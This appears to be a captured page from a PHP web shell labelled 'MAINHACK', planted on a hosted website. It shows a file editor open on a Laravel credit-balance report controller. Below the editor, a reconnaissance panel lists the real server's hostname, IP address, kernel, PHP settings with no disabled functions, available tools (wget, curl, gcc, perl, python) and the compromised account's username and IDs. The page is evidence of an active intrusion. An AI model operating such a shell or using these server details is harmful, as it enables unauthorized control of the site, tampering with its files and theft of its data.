[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CreditBalanceReportController.php
<?php namespace App\Http\Controllers\Admin; use Exception; use App\Models\ThemeSetting; use App\Services\UserService; use App\Services\CompanyService; use App\Http\Resources\UserResource; use Maatwebsite\Excel\Facades\Excel; use App\Http\Requests\PaginateRequest; use Smartisan\Settings\Facades\Settings; use App\Exports\CreditBalanceReportExport; use Illuminate\Support\Facades\Http; use Barryvdh\DomPDF\Facade\Pdf; class CreditBalanceReportController extends AdminController { private UserService $userService; private CompanyService $companyService; public function __construct(UserService $userService, CompanyService $companyService) { parent::__construct(); $this->userService = $userService; $this->companyService = $companyService; $this->middleware(['permission:credit-balance-report'])->only('index', 'export', 'exportPdf'); } public function index(PaginateRequest $request): \Illuminate\Http\Response | \Illuminate\Http\Resources\Json\AnonymousResourceCollection | \Illuminate\Contracts\Foundation\Application | \Illuminate\Contracts\Routing\ResponseFactory { try { return UserResource::collection($this->userService->list($request)); } catch (Exception $exception) { return response(['status' => false, 'message' => $exception->getMessage()], 422); } } public function export(PaginateRequest $request): \Illuminate\Http\Response | \Symfony\Component\HttpFoundation\BinaryFileResponse | \Illuminate\Contracts\Foundation\Application | \Illuminate\Contracts\Routing\ResponseFactory { try { return Excel::download(new CreditBalanceReportExport($this->userService, $request), 'Credit-balance-Report.xlsx'); } catch (Exception $exception) { return response(['status' => false, 'message' => $exception->getMessage()], 422); } } public function exportPdf(PaginateRequest $request): mixed { try { $company = $this->companyService->list(); $copyright = Settings::group('site')->get('site_copyright'); $users = $this->userService->list($request); $imagePath = ThemeSetting::where(['key' => 'theme_logo'])->first()?->logo; $response = Http::withOptions(['verify' => false])->get($imagePath); $data = $response->body(); $theme_logo = 'data:image/png;base64,' . base64_encode($data); $pdf = Pdf::loadView('reports.creditBalanceReport', compact('company', 'theme_logo', 'users', 'copyright')) ->setPaper('a4')->setOption(['defaultFont' => 'Urbanist']);; return response()->stream( fn() => print($pdf->output()), 200, [ 'Content-Type' => 'application/pdf', 'Content-Disposition' => 'attachment; filename="online_order_report.pdf"', ] ); } catch (Exception $exception) { return response(['status' => false, 'message' => $exception->getMessage()], 422); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285